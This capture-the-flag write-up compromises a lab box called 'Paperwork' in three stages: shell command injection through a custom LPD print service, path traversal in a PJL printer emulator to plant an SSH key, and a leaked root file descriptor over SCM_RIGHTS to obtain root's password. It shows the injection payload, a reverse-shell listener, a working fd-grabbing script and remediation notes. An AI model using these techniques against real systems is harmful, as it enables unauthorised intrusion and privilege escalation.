Paperwork dresses a chain of small, self-contained Python services up as a corporate "document archiving" pipeline. The foothold is an OS command injection in a hand-rolled LPD (RFC 1179) intake service that helpfully ships its own source. That lands as lp, which can reach a second service — a JetDirect / PJL printer emulator whose path sanitiser is decorative, giving an arbitrary file write into archivist's home and SSH access. Root is the interesting part: a root-owned daemon passes the client an open file descriptor to a root-only credential file over a UNIX socket via SCM_RIGHTS, so archivist reads a password it was never permitted to open.
SP1R4@kali)-[~]└$ nmap -p- --min-rate 2000 -sC -sV <TARGET_IP> -oA paperworkPORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 10.0p2 Ubuntu 5ubuntu5.4 (Ubuntu Linux; protocol 2.0)
80/tcp open http nginx 1.28.0 (Ubuntu)
|_http-title: Did not follow redirect to http://paperwork.htb/
1515/tcp open ifor-protocol?
| fingerprint-strings:
| TerminalServerCookie:
|_ Archive_Printer is ready and printing.
The 63 TTL on ping already said Linux. OpenSSH 10 is brand new — no free foothold there, so it's the exit, not the entry. Port 80 answers the bare IP with a redirect to paperwork.htb, which means nginx is routing by Host: header — add the vhost and we get a real page:
/etc/hosts
SP1R4@kali)-[~]└$ echo "<TARGET_IP> paperwork.htb" | sudo tee -a /etc/hosts
The intake portal
Every line on this page is a hint:
"Backend spooler PRN-ARCHIVE-01" — a print spooler.
"Compliance Level: RFC 1179" — RFC 1179 is the Line Printer Daemon protocol, normally TCP 515. Our scan found a printer-ish service on 1515.
"Remote job submission … Submissions without a valid identifier will fail" — there is input validation on some job identifier.
The Internal Processor links to /download/archive.
Not a compiled "processor" — the service's own source. That turns exploitation into a reading exercise.
Foothold — Command Injection in the LPD Intake Service
server.py is a minimal, non-standard LPD listener on port 1515. The relevant path is the "receive print job" handler:
server.py — handle_print_job()
def handle_print_job(self, data):
queue = data[1:].decode().strip()
if queue not in VALID_QUEUE: # substring check vs $LPD_QUEUE
self.sock.send(b'\x01'); return
self.sock.send(b'\x00')
while True:
chunk = self.sock.recv(1024)
subcommand = chunk[0]
self.sock.send(b'\x00')
if subcommand == 2: # control file
size = int(chunk[1:].decode().split()[0])
content = b""
while len(content) < size:
content += self.sock.recv(size - len(content) + 1)
job_name = "Unknown"
for line in content.decode(errors='ignore').split('\n'):
if line.strip().startswith('J'):
job_name = line.strip()[1:]; break
subprocess.Popen(f"echo 'Archive: {job_name}' >> /tmp/archive.log", shell=True)
job_name comes straight off the wire — it's the J line of the job's control file — and it is interpolated into a shell string with shell=True. Set the job name to ';id;' and the shell runs:
the resulting command line
echo 'Archive: '; id ; '' >> /tmp/archive.log
The protocol around it is trimmed down from real RFC 1179: send byte 0x02 + the queue name (the page tells us it's archive_intake, and the check is a lenient substring test), read the 0x00 ack, then send a chunk of 0x02 + "<size> <name>", then exactly <size> bytes of control-file text containing one J<payload> line. A short client does it:
SP1R4@kali)-[~]└$ python3 exploit.py && nc -lvnp 4444connect to [<LHOST>] from <TARGET_IP>
lp@paperwork:/opt/LPDServer$ id
uid=7(lp) gid=7(lp) groups=7(lp)
Interpolating any network-controlled value into an f-string handed to subprocess with shell=True is the whole bug. Popen([...], shell=False) with an argument list — or just shlex.quote — kills it.
lp → archivist — Path Traversal in the JetDirect Emulator
lp is a service account with no sudo (the binary isn't even installed). Process and socket enumeration shows what else is local:
ps aux / ss -tlnp
lp@paperwork:/opt/LPDServer$ ps aux | grep -E 'python|printer' ; ss -tlnproot /usr/bin/python3 /root/staging/CorpoSite/app.py # the site, as root
archiv+ /usr/bin/python3 /home/archivist/printer/jetdirect.py 9100 /home/archivist/printer/ ...
lp /usr/bin/python3 /opt/LPDServer/server.py
root /usr/bin/python3 /usr/bin/paperwork-daemon
LISTEN 127.0.0.1:1337 # Flask dev instance of the site (dead end)
LISTEN 0.0.0.0:1515 # our LPD
LISTEN 127.0.0.1:9100 # jetdirect.py, run by archivist
archivist runs a raw-print / PJL emulator on 9100, jailed to /home/archivist/printer/. PJL emulators implement FSUPLOAD (read) and FSDOWNLOAD (write). FSUPLOAD hands over the emulator's own source:
jetdirect.py — Filesystem._translate()
class Filesystem:
def __init__(self, root_dir):
self._root = os.path.abspath(root_dir)
def _translate(self, path):
clean = path.replace("0:", "").replace("\\", "/").lstrip("/")
return os.path.normpath(os.path.join(self._root, clean))
def read(self, path):
target = self._translate(path)
if os.path.isfile(target):
with open(target, "rb") as f: return f.read()
def write(self, path, data):
target = self._translate(path)
os.makedirs(os.path.dirname(target), exist_ok=True) # will create ~/.ssh for us
with open(target, "wb") as f: f.write(data)
The "sanitiser" removes the 0: volume prefix and strips leading slashes — and does nothing about ../. normpath(join("/home/archivist/printer", "../.ssh/authorized_keys")) collapses to /home/archivist/.ssh/authorized_keys. (An earlier FSQUERY of /etc/passwd returned FILEERROR=1 — not a block, just os.listdir() throwing on a non-directory. Read and write have no such guard.) So we drop an SSH key:
SP1R4@kali)-[~]└$ ssh -i pw_key archivist@<TARGET_IP>archivist@paperwork:~$ id && cat user.txt
uid=1000(archivist) gid=1000(archivist) groups=1000(archivist)
[redacted — user flag]
os.path.normpath is string canonicalisation, not a sandbox. Confining a path means resolving it (realpath) and verifying the result is still under the intended root — os.path.commonpath([root, resolved]) == root — before you touch the filesystem.
archivist → root — Leaked File Descriptor over SCM_RIGHTS
/usr/bin/paperwork-daemon runs as root and listens on a UNIX socket. Two details matter:
paperwork-daemon — the relevant bits
admin_fd = os.open("/etc/paperwork/admin_pins.conf", os.O_RDONLY) # opened once, as root
LOG_PATH = "/home/archivist/printer/logs/commands.log"
def scan_for_malice():
content = open(LOG_PATH).read().upper()
return any(t in content for t in ["FSQUERY", "FSUPLOAD", "FSDOWNLOAD"])
def trigger_lockdown(conn):
log_fd = os.open(LOG_PATH, os.O_RDONLY)
evidence_bundle = array.array("i", [log_fd, admin_fd])
conn.sendmsg([b"ALERT: SECURITY_VIOLATION..."],
[(socket.SOL_SOCKET, socket.SCM_RIGHTS, evidence_bundle)])
def main():
s = socket.socket(socket.AF_UNIX, socket.SOCK_STREAM)
s.bind("/run/paperwork/mgmt.sock")
os.chmod(socket_path, 0o660); os.chown(socket_path, 0, 1000) # root:archivist
while True:
conn, _ = s.accept()
if scan_for_malice(): trigger_lockdown(conn)
else: conn.sendall(b"STATUS: SYSTEM_CLEAN\n...")
The socket is mode 0660, group archivist — so we can connect. And when the daemon decides the box has been "tampered with", it doesn't just report it — it attaches admin_fd to the reply as ancillary data. SCM_RIGHTS is the kernel mechanism for sending an open file descriptor across a UNIX socket: the receiver gets a brand-new fd in its own table that refers to the same open file description the sender already had. The permission check happened when root called open(); the fd carries that decision. Whoever receives it can read the file, permission bits be damned.
We control the trigger — scan_for_malice() greps a log file that archivist owns:
getfd.py (run as archivist)
import socket, os, array
open("/home/archivist/printer/logs/commands.log", "a").write("FSDOWNLOAD\n") # trip the scan
s = socket.socket(socket.AF_UNIX, socket.SOCK_STREAM)
s.connect("/run/paperwork/mgmt.sock")
msg, anc, _, _ = s.recvmsg(4096, socket.CMSG_SPACE(64))
for level, ctype, cdata in anc:
if (level, ctype) == (socket.SOL_SOCKET, socket.SCM_RIGHTS):
a = array.array("i"); a.frombytes(cdata)
for fd in a:
print(fd, os.readlink(f"/proc/self/fd/{fd}"))
print(os.pread(fd, 4096, 0))
The pin file is root:root 0600 — archivist cannot open() it. It didn't have to: the daemon opened it and handed the descriptor over. That password is root's:
su -
archivist@paperwork:~$ su -
Password:
root@paperwork:~# id && cat /root/root.txt
uid=0(root) gid=0(root) groups=0(root)
[redacted — root flag]
Passing a file descriptor is passing access, not a filename. A privileged process that sendmsg()s an fd to a lower-privileged peer has just delegated everything that fd can do. If a daemon must share evidence, it should copy the bytes it means to disclose — never the handle.
Why it worked
Stage
Root cause
lp
shell=True + f-string interpolation of a network-controlled job name (CWE-78)
archivist
Path "sanitiser" that canonicalises but never confines; no realpath + prefix check (CWE-22)
root
Privileged daemon sends an open fd to a root-only file to an unprivileged client via SCM_RIGHTS (CWE-732 / privilege delegation)